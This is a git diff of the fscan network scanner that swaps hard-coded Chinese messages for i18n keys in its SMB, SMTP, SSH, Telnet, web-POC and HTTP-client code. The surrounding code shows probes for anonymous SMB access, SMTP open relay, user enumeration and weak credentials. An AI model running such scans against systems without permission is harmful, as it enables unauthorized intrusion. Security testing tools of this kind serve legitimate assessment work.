b/plugins/services/smb.go index ff0baab..632ba33 100644 --- a/plugins/services/smb.go +++ b/plugins/services/smb.go @@ -34,7 +34,7 @@ func (p *SmbPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co return &ScanResult{ Success: false, Service: "smb", - Error: fmt.Errorf("SMB插件仅支持139和445端口"), + Error: fmt.Errorf("%s", i18n.GetText("smb_port_only")), } } @@ -44,7 +44,7 @@ func (p *SmbPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co return &ScanResult{ Success: false, Service: "smb", - Error: fmt.Errorf("SMB协议探测失败: %w", err), + Error: fmt.Errorf("%s: %w", i18n.GetText("smb_probe_failed"), err), } } @@ -71,9 +71,9 @@ func (p *SmbPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co if result := p.testUnauthorizedAccess(ctx, info, auth, config, state, session); result != nil && result.Success { var successMsg string if config.Credentials.Domain != "" { - successMsg = fmt.Sprintf("SMB %s 未授权访问 - %s\\%s:%s", target, config.Credentials.Domain, result.Username, result.Password) + successMsg = i18n.Tr("smb_unauth_domain_access", target, config.Credentials.Domain, result.Username, result.Password) } else { - successMsg = fmt.Sprintf("SMB %s 未授权访问 - %s:%s", target, result.Username, result.Password) + successMsg = i18n.Tr("smb_unauth_access", target, result.Username, result.Password) } common.LogVuln(successMsg) return result @@ -143,7 +143,7 @@ func (p *SmbPlugin) testUnauthorizedAccess(ctx context.Context, info *common.Hos if displayUser == "" { displayUser = "" } - output.WriteString(fmt.Sprintf("SMB %s 匿名访问 - %s:%s", target, displayUser, cred.Password)) + output.WriteString(i18n.Tr("smb_anonymous_access_detail", target, displayUser, cred.Password)) for _, share := range shareInfo { output.WriteString(fmt.Sprintf("\n%s", share)) } @@ -156,7 +156,7 @@ func (p *SmbPlugin) testUnauthorizedAccess(ctx context.Context, info *common.Hos Service: "smb", Username: cred.Username, Password: cred.Password, - Banner: "SMB匿名访问", + Banner: i18n.GetText("smb_anonymous_banner"), } } } diff --git a/plugins/services/smb_protocol.go b/plugins/services/smb_protocol.go index 2540f5a..e09054c 100644 --- a/plugins/services/smb_protocol.go +++ b/plugins/services/smb_protocol.go @@ -216,13 +216,13 @@ func probeTarget(ctx context.Context, host string, port int, timeout time.Durati // 首先尝试SMBv1协商 _, err = conn.Write(smbv1NegotiatePacket) if err != nil { - return nil, fmt.Errorf("发送SMBv1协商包失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("smbv1_negotiate_send_failed"), err) } // 读取SMBv1协商响应 r1, err := readSMBMessage(conn) if err != nil { - common.LogDebug(fmt.Sprintf("读取SMBv1协商响应失败: %v", err)) + common.LogDebug(i18n.Tr("smbv1_negotiate_read_failed", err)) } // 检查是否支持SMBv1 @@ -239,12 +239,12 @@ func probeSMBv1(conn net.Conn, target string, timeout time.Duration) (*SMBTarget // 发送Session Setup请求 _, err := conn.Write(smbv1SessionSetupPacket) if err != nil { - return nil, fmt.Errorf("发送SMBv1 Session Setup失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("smbv1_session_send_failed"), err) } ret, err := readSMBMessage(conn) if err != nil || len(ret) < 47 { - return nil, fmt.Errorf("读取SMBv1 Session Setup响应失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("smbv1_session_read_failed"), err) } info := &SMBTarget{ @@ -301,12 +301,12 @@ func probeSMBv2(ctx context.Context, target string, timeout time.Duration, sessi // 发送SMBv2协商包 _, err = conn2.Write(smbv2NegotiatePacket) if err != nil { - return nil, fmt.Errorf("发送SMBv2协商包失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("smbv2_negotiate_send_failed"), err) } r2, err := readSMBMessage(conn2) if err != nil { - return nil, fmt.Errorf("读取SMBv2协商响应失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("smbv2_negotiate_read_failed"), err) } // 构建NTLM数据包 @@ -322,23 +322,23 @@ func probeSMBv2(ctx context.Context, target string, timeout time.Duration, sessi // 发送Session Setup _, err = conn2.Write(smbv2SessionSetupPacket) if err != nil { - return nil, fmt.Errorf("发送SMBv2 Session Setup失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("smbv2_session_send_failed"), err) } _, err = readSMBMessage(conn2) if err != nil { - return nil, fmt.Errorf("读取SMBv2 Session Setup响应失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("smbv2_session_read_failed"), err) } // 发送NTLM协商包 _, err = conn2.Write(ntlmData) if err != nil { - return nil, fmt.Errorf("发送SMBv2 NTLM包失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("smbv2_ntlm_send_failed"), err) } ret, err := readSMBMessage(conn2) if err != nil { - return nil, fmt.Errorf("读取SMBv2 NTLM响应失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("smbv2_ntlm_read_failed"), err) } ntlmOff := bytes.Index(ret, []byte("NTLMSSP")) @@ -455,7 +455,7 @@ func (a *SMB1Authenticator) Authenticate(ctx context.Context, host string, port return &AuthResult{ Success: false, ErrorType: ErrorTypeNetwork, - Error: fmt.Errorf("连接超时"), + Error: fmt.Errorf("%s", i18n.GetText("connection_timeout")), }, nil case <-ctx.Done(): go func() { @@ -701,13 +701,13 @@ func readSMBMessage(conn net.Conn) ([]byte, error) { return nil, err } if n != 4 { - return nil, fmt.Errorf("NetBIOS头部长度不足: %d", n) + return nil, fmt.Errorf(i18n.GetText("netbios_header_too_short")+": %d", n) } messageLength := int(headerBuf[0])<<24 | int(headerBuf[1])<<16 | int(headerBuf[2])<<8 | int(headerBuf[3]) if messageLength > 1024*1024 { - return nil, fmt.Errorf("消息长度过大: %d", messageLength) + return nil, fmt.Errorf(i18n.GetText("message_length_too_large")+": %d", messageLength) } if messageLength == 0 { diff --git a/plugins/services/smtp.go b/plugins/services/smtp.go index 44bf653..f6ecc4b 100644 --- a/plugins/services/smtp.go +++ b/plugins/services/smtp.go @@ -269,7 +269,7 @@ func (p *SMTPPlugin) testAnonymousAccess(ctx context.Context, info *common.HostI Success: true, Type: plugins.ResultTypeVuln, Service: "smtp", - Banner: "未授权访问 - 允许匿名邮件发送", + Banner: i18n.GetText("smtp_anonymous_mail_allowed"), } }() @@ -321,7 +321,7 @@ func (p *SMTPPlugin) testOpenRelay(ctx context.Context, info *common.HostInfo, s Success: true, Type: plugins.ResultTypeVuln, Service: "smtp", - Banner: "未授权访问 - 开放中继", + Banner: i18n.GetText("smtp_open_relay"), } }() @@ -386,7 +386,7 @@ func (p *SMTPPlugin) testVRFYCommand(ctx context.Context, info *common.HostInfo, Success: true, Type: plugins.ResultTypeVuln, Service: "smtp", - Banner: fmt.Sprintf("未授权访问 - VRFY命令枚举用户(%s)", user), + Banner: i18n.Tr("smtp_vrfy_user_enum", user), } return } @@ -456,7 +456,7 @@ func (p *SMTPPlugin) testEXPNCommand(ctx context.Context, info *common.HostInfo, Success: true, Type: plugins.ResultTypeVuln, Service: "smtp", - Banner: fmt.Sprintf("未授权访问 - EXPN命令枚举邮件列表(%s)", list), + Banner: i18n.Tr("smtp_expn_list_enum", list), } return } @@ -522,7 +522,7 @@ func (p *SMTPPlugin) identifyService(ctx context.Context, info *common.HostInfo, var banner string if serverInfo != "" { - banner = fmt.Sprintf("SMTP邮件服务 (%s)", serverInfo) + banner = i18n.Tr("smtp_mail_service_info", serverInfo) } else { conn, err := session.DialTCP(ctx, "tcp", target, session.Config.Timeout) if err != nil { @@ -533,7 +533,7 @@ func (p *SMTPPlugin) identifyService(ctx context.Context, info *common.HostInfo, } } defer func() { _ = conn.Close() }() - banner = "SMTP邮件服务" + banner = i18n.GetText("smtp_mail_service") } common.LogSuccess(i18n.Tr("smtp_service", target, banner)) diff --git a/plugins/services/ssh.go b/plugins/services/ssh.go index dc04cf1..7f3d980 100644 --- a/plugins/services/ssh.go +++ b/plugins/services/ssh.go @@ -167,11 +167,11 @@ func classifySSHErrorType(err error) ErrorType { // SSH 特有的网络/临时错误(需要重试) sshNetworkErrors := append(CommonNetworkErrors, - "handshake failed", // 握手失败,可能是服务端限流 - "ssh: disconnect", // SSH 主动断开 - "connection closed", // 连接被关闭 - "max startups", // SSH MaxStartups 限制 - "too many authentication", // 认证次数过多 + "handshake failed", // 握手失败,可能是服务端限流 + "ssh: disconnect", // SSH 主动断开 + "connection closed", // 连接被关闭 + "max startups", // SSH MaxStartups 限制 + "too many authentication", // 认证次数过多 ) return ClassifyError(err, sshAuthErrors, sshNetworkErrors) @@ -268,7 +268,7 @@ func (p *SSHPlugin) readSSHBanner(conn net.Conn, config *common.Config) string { if matched := sshBannerRegex.FindStringSubmatch(bannerStr); len(matched) >= 3 { return fmt.Sprintf("SSH %s (%s)", matched[1], matched[2]) } - return fmt.Sprintf("SSH服务: %s", bannerStr) + return i18n.Tr("ssh_service_banner", bannerStr) } return "" diff --git a/plugins/services/telnet.go b/plugins/services/telnet.go index 1a92b36..c41c0f8 100644 --- a/plugins/services/telnet.go +++ b/plugins/services/telnet.go @@ -249,7 +249,7 @@ func (p *TelnetPlugin) testUnauthAccess(ctx context.Context, info *common.HostIn Success: true, Type: plugins.ResultTypeVuln, Service: "telnet", - Banner: "Telnet远程终端服务 (未授权访问)", + Banner: i18n.GetText("telnet_unauth_service"), } return } @@ -541,21 +541,21 @@ func (p *TelnetPlugin) identifyService(ctx context.Context, info *common.HostInf var banner string if p.isShellPrompt(cleaned) { - banner = "Telnet远程终端服务 (未授权访问)" + banner = i18n.GetText("telnet_unauth_service") } else if strings.Contains(cleanedLower, "login") || strings.Contains(cleanedLower, "username") || strings.Contains(cleanedLower, "user") { - banner = "Telnet远程终端服务 (需要认证)" + banner = i18n.GetText("telnet_auth_required") } else if strings.Contains(cleanedLower, "password") { - banner = "Telnet远程终端服务 (只需密码)" + banner = i18n.GetText("telnet_password_only") } else if cleaned != "" { displayCleaned := cleaned if len(displayCleaned) > 50 { displayCleaned = displayCleaned[:50] + "..." } - banner = fmt.Sprintf("Telnet远程终端服务 (自定义欢迎: %s)", displayCleaned) + banner = i18n.Tr("telnet_custom_welcome", displayCleaned) } else { - banner = "Telnet远程终端服务" + banner = i18n.GetText("telnet_remote_terminal_service") } if p.isShellPrompt(cleaned) { diff --git a/plugins/web/webpoc.go b/plugins/web/webpoc.go index e09e0c5..094f25a 100644 --- a/plugins/web/webpoc.go +++ b/plugins/web/webpoc.go @@ -8,6 +8,7 @@ import ( "strings" "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/common/i18n" "github.com/shadow1ng/fscan/plugins" WebScan "github.com/shadow1ng/fscan/webscan" ) @@ -92,7 +93,7 @@ func (p *WebPocPlugin) Scan(ctx context.Context, info *common.HostInfo, session if config.POC.Disabled { return &WebScanResult{ Success: false, - Error: fmt.Errorf("POC扫描已禁用"), + Error: fmt.Errorf("%s", i18n.GetText("webpoc_disabled")), } } @@ -106,7 +107,7 @@ func (p *WebPocPlugin) Scan(ctx context.Context, info *common.HostInfo, session // 全量模式:忽略指纹和CDN/WAF检测,直接扫描所有POC target := info.Target() - common.LogDebug(fmt.Sprintf("WebPOC %s 全量扫描模式", target)) + common.LogDebug(i18n.Tr("webpoc_full_scan_mode", target)) WebScan.WebScan(ctx, info, config) return &WebScanResult{ diff --git a/plugins/web/webtitle.go b/plugins/web/webtitle.go index 70f0210..1d09286 100644 --- a/plugins/web/webtitle.go +++ b/plugins/web/webtitle.go @@ -13,6 +13,7 @@ import ( "unicode/utf8" "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/common/i18n" "github.com/shadow1ng/fscan/core" "github.com/shadow1ng/fscan/plugins" WebScan "github.com/shadow1ng/fscan/webscan" @@ -222,18 +223,18 @@ func (p *WebTitlePlugin) triggerPocScan(ctx context.Context, info *common.HostIn // 无指纹,跳过 if len(fingerprints) == 0 { - common.LogDebug(fmt.Sprintf("WebTitle %s 无匹配指纹,跳过POC扫描", target)) + common.LogDebug(i18n.Tr("webtitle_no_fingerprint_skip_poc", target)) return } // 检测CDN/WAF if cdnName := matchCDNorWAF(fingerprints); cdnName != "" { - common.LogDebug(fmt.Sprintf("WebTitle %s 检测到%s,跳过POC扫描", target, cdnName)) + common.LogDebug(i18n.Tr("webtitle_cdn_waf_skip_poc", target, cdnName)) return } // 基于指纹执行POC扫描 - common.LogDebug(fmt.Sprintf("WebTitle %s 触发指纹POC扫描: %v", target, fingerprints)) + common.LogDebug(i18n.Tr("webtitle_trigger_fingerprint_poc", target, fingerprints)) info.Info = fingerprints WebScan.WebScan(ctx, info, config) } diff --git a/tools/perftest/perftest.go b/tools/perftest/perftest.go index 0afb9f3..491d097 100644 --- a/tools/perftest/perftest.go +++ b/tools/perftest/perftest.go @@ -22,32 +22,32 @@ type Result struct { } func main() { - target := flag.String("target", "", "扫描目标 (如 192.168.1.0/24)") - ports := flag.String("ports", "22,80,443,3389,8080", "端口列表") - threads := flag.String("threads", "100,200,400,600,800,1000", "线程数列表,逗号分隔") - repeat := flag.Int("repeat", 3, "每个线程数重复次数") - output := flag.String("o", "perf_results.csv", "输出CSV文件") + target := flag.String("target", "", "scan target, e.g. 192.168.1.0/24") + ports := flag.String("ports", "22,80,443,3389,8080", "port list") + threads := flag.String("threads", "100,200,400,600,800,1000", "comma-separated thread counts") + repeat := flag.Int("repeat", 3, "repeat count for each thread count") + output := flag.String("o", "perf_results.csv", "output CSV file") flag.Parse() if *target == "" { - fmt.Println("用法: perftest -target 192.168.1.0/24 [-ports 22,80,443] [-threads 100,200,400]") + fmt.Println("Usage: perftest -target 192.168.1.0/24 [-ports 22,80,443] [-threads 100,200,400]") os.Exit(1) } threadList := parseIntList(*threads) results := []Result{} - fmt.Printf("=== fscan 可扩展性测试 ===\n") - fmt.Printf("目标: %s\n", *target) - fmt.Printf("端口: %s\n", *ports) - fmt.Printf("线程数: %v\n", threadList) - fmt.Printf("重复次数: %d\n\n", *repeat) + fmt.Printf("=== fscan scalability test ===\n") + fmt.Printf("Target: %s\n", *target) + fmt.Printf("Ports: %s\n", *ports) + fmt.Printf("Threads: %v\n", threadList) + fmt.Printf("Repeats: %d\n\n", *repeat) for _, t := range threadList { var totalDuration float64 var totalRate float64 - fmt.Printf("[线程=%d] ", t) + fmt.Printf("[threads=%d] ", t) for i := 0; i < *repeat; i++ { fmt.Printf(".") duration, rate := runFscan(*target, *ports, t) @@ -63,11 +63,11 @@ func main() { Duration: avgDuration, PortsRate: avgRate, }) - fmt.Printf(" 平均: %.2fs, %.1f ports/sec\n", avgDuration, avgRate) + fmt.Printf(" average: %.2fs, %.1f ports/sec\n", avgDuration, avgRate) } writeCSV(*output, results) - fmt.Printf("\n结果已保存到: %s\n", *output) + fmt.Printf("\nResults saved to: %s\n", *output) printPlotCommand(*output) } @@ -94,8 +94,8 @@ func runFscan(target, ports string, threads int) (duration float64, rate float64 } func extractPortCount(output, target, ports string) int { - // 尝试从 "扫描完成" 行提取 - re := regexp.MustCompile(`扫描完成.*?(\d+).*?端口`) + // Try to parse either Chinese or English fscan completion output. + re := regexp.MustCompile(`(?:\x{626b}\x{63cf}\x{5b8c}\x{6210}|Scan Completed).*?(\d+).*?(?:\x{7aef}\x{53e3}|ports?)`) if matches := re.FindStringSubmatch(output); len(matches) > 1 { count, _ := strconv.Atoi(matches[1]) return count @@ -131,7 +131,7 @@ func parseIntList(s string) []int { func writeCSV(filename string, results []Result) { f, err := os.Create(filename) if err != nil { - fmt.Printf("无法创建文件: %v\n", err) + fmt.Printf("Failed to create file: %v\n", err) return } defer func() { _ = f.Close() }() @@ -149,7 +149,7 @@ func writeCSV(filename string, results []Result) { } func printPlotCommand(csvFile string) { - fmt.Println("\n=== 绘图命令 ===") + fmt.Println("\n=== Plot commands ===") fmt.Println("\n# gnuplot:") fmt.Printf(`gnuplot -e " set terminal png size 800,600; diff --git a/web/api/result.go b/web/api/result.go index d3da791..77e9b09 100644 --- a/web/api/result.go +++ b/web/api/result.go @@ -10,16 +10,18 @@ import ( "strings" "sync" "time" + + "github.com/shadow1ng/fscan/common/i18n" ) // ResultItem 扫描结果项 type ResultItem struct { - ID int64 `json:"id"` - Time time.Time `json:"time"` - Type string `json:"type"` // host, port, service, vuln - Target string `json:"target"` - Status string `json:"status"` - Details interface{} `json:"details,omitempty"` + ID int64 `json:"id"` + Time time.Time `json:"time"` + Type string `json:"type"` // host, port, service, vuln + Target string `json:"target"` + Status string `json:"status"` + Details interface{} `json:"details,omitempty"` } // ResultStore 结果存储 @@ -427,18 +429,18 @@ func buildStatusFromDetails(resultType, originalStatus string, details map[strin func normalizeVulnStatus(status string, details map[string]interface{}) string { // 英文转中文映射 vulnTranslations := map[string]string{ - "weak_credential": "弱口令", - "unauthorized": "未授权访问", - "unauth": "未授权访问", - "anonymous": "匿名访问", - "CVE": "漏洞", + "weak_credential": i18n.GetText("web_result_weak_credential"), + "unauthorized": i18n.GetText("unauthorized_access"), + "unauth": i18n.GetText("unauthorized_access"), + "anonymous": i18n.GetText("web_result_anonymous_access"), + "CVE": i18n.GetText("web_result_vulnerability"), } // 处理 "weak_credential: user:pass" 格式 if strings.HasPrefix(status, "weak_credential:") { cred := strings.TrimPrefix(status, "weak_credential:") cred = strings.TrimSpace(cred) - return fmt.Sprintf("弱口令: %s", cred) + return i18n.Tr("web_result_weak_credential_detail", cred) } // 处理其他已知格式 diff --git a/webscan/fingerprint/enhanced.go b/webscan/fingerprint/enhanced.go index cae9a3d..c5591b2 100644 --- a/webscan/fingerprint/enhanced.go +++ b/webscan/fingerprint/enhanced.go @@ -11,6 +11,8 @@ import ( "sort" "strings" "sync" + + "github.com/shadow1ng/fscan/common/i18n" ) //go:embed web_fingerprint_v4.json @@ -20,10 +22,10 @@ var fingerprintHubData []byte type EnhancedFingerprint struct { ID string `json:"id"` Info struct { - Name string `json:"name"` - Author string `json:"author"` - Tags string `json:"tags"` - Severity string `json:"severity"` + Name string `json:"name"` + Author string `json:"author"` + Tags string `json:"tags"` + Severity string `json:"severity"` Metadata map[string]interface{} `json:"metadata"` } `json:"info"` HTTP []struct { @@ -58,7 +60,7 @@ var ( func LoadEnhancedFingerprints() error { var fps []*EnhancedFingerprint if err := json.Unmarshal(fingerprintHubData, &fps); err != nil { - return fmt.Errorf("解析增强指纹库失败: %w", err) + return fmt.Errorf("%s: %w", i18n.GetText("fingerprint_enhanced_parse_failed"), err) } enhancedDB = &EnhancedFingerprintDB{ diff --git a/webscan/lib/Client.go b/webscan/lib/Client.go index 8879204..4953d6a 100644 --- a/webscan/lib/Client.go +++ b/webscan/lib/Client.go @@ -13,6 +13,7 @@ import ( "time" "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/common/i18n" "github.com/shadow1ng/fscan/common/proxy" gmtls "github.com/tjfoc/gmsm/gmtls" "gopkg.in/yaml.v2" @@ -31,12 +32,12 @@ const ( // 全局HTTP客户端变量 var ( - Client *http.Client // 标准HTTP客户端 - ClientNoRedirect *http.Client // 不自动跟随重定向的HTTP客户端 - ClientGM *http.Client // 国密TLS HTTP客户端 - ClientNoRedirectGM *http.Client // 国密TLS 不跟随重定向 - dialTimeout = 5 * time.Second // 连接超时时间 - keepAlive = 5 * time.Second // 连接保持时间 + Client *http.Client // 标准HTTP客户端 + ClientNoRedirect *http.Client // 不自动跟随重定向的HTTP客户端 + ClientGM *http.Client // 国密TLS HTTP客户端 + ClientNoRedirectGM *http.Client // 国密TLS 不跟随重定向 + dialTimeout = 5 * time.Second // 连接超时时间 + keepAlive = 5 * time.Second // 连接保持时间 ) // Inithttp 初始化HTTP客户端配置 @@ -50,7 +51,7 @@ func Inithttp(cfg *common.Config) error { // 初始化HTTP客户端 err := InitHTTPClient(pocNum, cfg.Network.HTTPProxy, cfg.Network.WebTimeout, cfg.Network.MaxRedirects, &cfg.Network) if err != nil { - return fmt.Errorf("HTTP客户端初始化失败: %w", err) + return fmt.Errorf("%s: %w", i18n.GetText("webscan_http_client_init_failed"), err) } return nil } @@ -85,7 +86,7 @@ func configureHTTPProxy(tr *http.Transport, legacyProxy string, networkConfig *c proxyManager := proxy.NewProxyManager(proxyConfig) proxyDialer, err := proxyManager.GetDialer() if err != nil { - return fmt.Errorf("SOCKS5代理配置失败: %w", err) + return fmt.Errorf("%s: %w", i18n.GetText("webscan_socks5_proxy_config_failed"), err) } tr.DialContext = proxyDialer.DialContext return nil @@ -110,13 +111,13 @@ func configureHTTPProxy(tr *http.Transport, legacyProxy string, networkConfig *c // 验证代理类型 if !strings.HasPrefix(httpProxyURL, "socks5://") && !strings.HasPrefix(httpProxyURL, "http://") && !strings.HasPrefix(httpProxyURL, "https://") { - return fmt.Errorf("不支持的代理类型: %s", httpProxyURL) + return fmt.Errorf("%s: %s", i18n.GetText("webscan_unsupported_proxy_type"), httpProxyURL) } // 解析代理URL parsedURL, err := url.Parse(httpProxyURL) if err != nil { - return fmt.Errorf("代理URL解析失败: %w", err) + return fmt.Errorf("%s: %w", i18n.GetText("webscan_proxy_url_parse_failed"), err) } tr.Proxy = http.ProxyURL(parsedURL) return nil @@ -137,9 +138,9 @@ func InitHTTPClient(ThreadsNum int, DownProxy string, Timeout time.Duration, max // 配置Transport参数 tr := &http.Transport{ DialContext: dialer.DialContext, - MaxConnsPerHost: 100, // 增加到100,避免连接池耗尽 - MaxIdleConns: 100, // 保留100个空闲连接 - MaxIdleConnsPerHost: 10, // 每主机保留10个空闲连接 + MaxConnsPerHost: 100, // 增加到100,避免连接池耗尽 + MaxIdleConns: 100, // 保留100个空闲连接 + MaxIdleConnsPerHost: 10, // 每主机保留10个空闲连接 IdleConnTimeout: keepAlive, TLSClientConfig: &tls.Config{MinVersion: tls.VersionTLS10, InsecureSkipVerify: true}, TLSHandshakeTimeout: 5 * time.Second, @@ -266,7 +267,7 @@ func (r *StrMap) UnmarshalYAML(unmarshal func(interface{}) error) error { key, keyOk := one.Key.(string) value, valueOk := one.Value.(string) if !keyOk || !valueOk { - return fmt.Errorf("StrMap解析失败: 键或值不是字符串类型") + return fmt.Errorf("%s", i18n.GetText("webscan_strmap_parse_failed")) } *r = append(*r, StrItem{key, value}) } @@ -297,7 +298,7 @@ func (r *RuleMap) UnmarshalYAML(unmarshal func(interface{}) error) error { for _, one := range tmp1 { key, ok := one.Key.(string) if !ok { - return fmt.Errorf("RuleMap解析失败: 键不是字符串类型") + return fmt.Errorf("%s", i18n.GetText("webscan_rulemap_key_invalid")) } value := tmp[key] *r = append(*r, RuleItem{key, value}) @@ -322,12 +323,12 @@ func (r *ListMap) UnmarshalYAML(unmarshal func(interface{}) error) error { for _, one := range tmp { key, keyOk := one.Key.(string) if !keyOk { - return fmt.Errorf("ListMap解析失败: 键不是字符串类型") + return fmt.Errorf("%s", i18n.GetText("webscan_listmap_key_invalid")) } valueSlice, valueOk := one.Value.([]interface{}) if !valueOk { - return fmt.Errorf("ListMap解析失败: 值不是数组类型") + return fmt.Errorf("%s", i18n.GetText("webscan_listmap_value_invalid")) } var value []string @@ -369,7 +370,7 @@ func LoadMultiPoc(Pocs embed.FS, pocname string) []*Poc { if p, err := LoadPoc(f, Pocs); err == nil { pocs = append(pocs, p) } else { - common.LogError(fmt.Sprintf("POC加载失败 %s: %v", f, err)) + common.LogError(i18n.Tr("webscan_poc_load_one_failed", f, err)) } } return pocs @@ -380,13 +381,13 @@ func parsePocYAML(data []byte, fileName string) (*Poc, error) { // 使用通用适配器加载POC(自动识别格式) universalPoc, err := LoadUniversalPoc(fileName, data) if err != nil { - return nil, fmt.Errorf("POC解析失败 %s: %w", fileName, err) + return nil, fmt.Errorf("%s %s: %w", i18n.GetText("webscan_poc_parse_failed"), fileName, err) } // 转换为fscan内部格式 poc, err := universalPoc.ToFscanPoc() if err != nil { - return nil, fmt.Errorf("POC格式转换失败 %s: %w", fileName, err) + return nil, fmt.Errorf("%s %s: %w", i18n.GetText("webscan_poc_convert_failed"), fileName, err) } return poc, nil @@ -397,7 +398,7 @@ func LoadPoc(fileName string, Pocs embed.FS) (*Poc, error) { // 读取POC文件内容 yamlFile, err := Pocs.ReadFile("pocs/" + fileName) if err != nil { - return nil, fmt.Errorf("POC文件读取失败 %s: %w", fileName, err) + return nil, fmt.Errorf("%s %s: %w", i18n.GetText("webscan_poc_file_read_failed"), fileName, err) } // 解析YAML内容 @@ -408,7 +409,7 @@ func LoadPoc(fileName string, Pocs embed.FS) (*Poc, error) { func SelectPoc(Pocs embed.FS, pocname string) []string { entries, err := Pocs.ReadDir("pocs") if err != nil { - common.LogError(fmt.Sprintf("读取POC目录失败: %v", err)) + common.LogError(i18n.Tr("webscan_poc_dir_read_failed", err)) } var foundFiles []string @@ -426,7 +427,7 @@ func LoadPocbyPath(fileName string) (*Poc, error) { // 读取POC文件内容 data, err := os.ReadFile(fileName) if err != nil { - return nil, fmt.Errorf("POC文件读取失败 %s: %w", fileName, err) + return nil, fmt.Errorf("%s %s: %w", i18n.GetText("webscan_poc_file_read_failed"), fileName, err) } // 解析YAML内容 diff --git a/webscan/lib/Eval.go b/webscan/lib/Eval.go index b61d611..217266e 100644 --- a/webscan/lib/Eval.go +++ b/webscan/lib/Eval.go @@ -108,7 +108,7 @@ func GetBaseProgramOptions() []cel.ProgramOption { func ExtendEnvWithVars(varDecls []*exprpb.Decl) (*cel.Env, error) { base := GetBaseEnv() if base == nil { - return nil, fmt.Errorf("基础CEL环境未初始化") + return nil, fmt.Errorf("%s", i18n.GetText("webscan_cel_env_not_initialized")) } if len(varDecls) == 0 { return base, nil @@ -142,19 +142,19 @@ func Evaluate(env *cel.Env, expression string, params map[string]interface{}) (r // 编译表达式 ast, issues := env.Compile(expression) if issues.Err() != nil { - return nil, fmt.Errorf("表达式编译错误: %w", issues.Err()) + return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_expression_compile_failed"), issues.Err()) } // 创建程序(使用缓存的程序选项) program, err := env.Program(ast, GetBaseProgramOptions()...) if err != nil { - return nil, fmt.Errorf("程序创建错误: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_program_create_failed"), err) } // 执行评估 result, _, err := program.Eval(params) if err != nil { - return nil, fmt.Errorf("表达式评估错误: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_expression_eval_failed"), err) } return result, nil @@ -435,7 +435,7 @@ func DoRequest(req *http.Request, redirect bool) (*Response, error) { // 检查发包限制 if canSend, reason := common.CanSendPacket(); !canSend { common.LogError(i18n.Tr("webscan_request_restricted", req.URL.String(), reason)) - return nil, fmt.Errorf("发包受限: %s", reason) + return nil, fmt.Errorf("%s", i18n.Tr("network_rate_limited", reason)) } var ( @@ -465,7 +465,7 @@ func DoRequest(req *http.Request, redirect bool) (*Response, error) { if err != nil { // HTTP请求失败,计为TCP失败 common.GetGlobalState().IncrementTCPFailedPacketCount() - return nil, fmt.Errorf("请求执行失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_request_execute_failed"), err) } // HTTP请求成功,计为TCP成功 @@ -512,7 +512,7 @@ func ParseRequest(oReq *http.Request) (*Request, error) { if oReq.Body != nil && oReq.Body != http.NoBody { data, err := io.ReadAll(oReq.Body) if err != nil { - return nil, fmt.Errorf("读取请求体失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_request_body_read_failed"), err) } req.Body = data // 重新设置请求体,允许后续重复读取 @@ -545,7 +545,7 @@ func ParseResponse(oResp *http.Response) (*Response, error) { // 读取并解析响应体 body, err := getRespBody(oResp) if err != nil { - return nil, fmt.Errorf("处理响应体失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_response_body_process_failed"), err) } resp.Body = body diff --git a/webscan/lib/poc_adapter.go b/webscan/lib/poc_adapter.go index 3bd813a..6ca966d 100644 --- a/webscan/lib/poc_adapter.go +++ b/webscan/lib/poc_adapter.go @@ -4,6 +4,7 @@ import ( "fmt" "strings" + "github.com/shadow1ng/fscan/common/i18n" "gopkg.in/yaml.v2" ) @@ -103,7 +104,7 @@ func LoadUniversalPoc(filename string, data []byte) (UniversalPoc, error) { case FormatAfrog: return loadAfrogPoc(data) default: - return nil, fmt.Errorf("未知POC格式: %s", filename) + return nil, fmt.Errorf("%s: %s", i18n.GetText("webscan_unknown_poc_format"), filename) } } @@ -117,7 +118,7 @@ type FscanPocAdapter struct { func loadFscanPoc(data []byte) (*FscanPocAdapter, error) { var poc Poc if err := yaml.Unmarshal(data, &poc); err != nil { - return nil, fmt.Errorf("fscan格式解析失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_fscan_format_parse_failed"), err) } return &FscanPocAdapter{&poc}, nil } @@ -174,7 +175,7 @@ type NucleiPocAdapter struct { func loadNucleiPoc(data []byte) (*NucleiPocAdapter, error) { var poc NucleiPoc if err := yaml.Unmarshal(data, &poc); err != nil { - return nil, fmt.Errorf("nuclei格式解析失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_nuclei_format_parse_failed"), err) } return &NucleiPocAdapter{&poc}, nil } @@ -239,7 +240,7 @@ func (n *NucleiPocAdapter) ToFscanPoc() (*Poc, error) { } if len(poc.Rules) == 0 { - return nil, fmt.Errorf("nuclei模板没有有效的HTTP规则") + return nil, fmt.Errorf("%s", i18n.GetText("webscan_nuclei_no_http_rules")) } return poc, nil @@ -348,7 +349,7 @@ type XrayPocAdapter struct { func loadXrayPoc(data []byte) (*XrayPocAdapter, error) { var poc XrayPoc if err := yaml.Unmarshal(data, &poc); err != nil { - return nil, fmt.Errorf("xray格式解析失败: %w", err) + return nil, fmt.Errorf("%s: %w", i18n.GetText("webscan_xray_format_parse_failed"), err) } return &XrayPocAdapter{&poc}, nil } @@ -413,7 +414,7 @@ func (x *XrayPocAdapter) ToFscanPoc() (*Poc, error) { 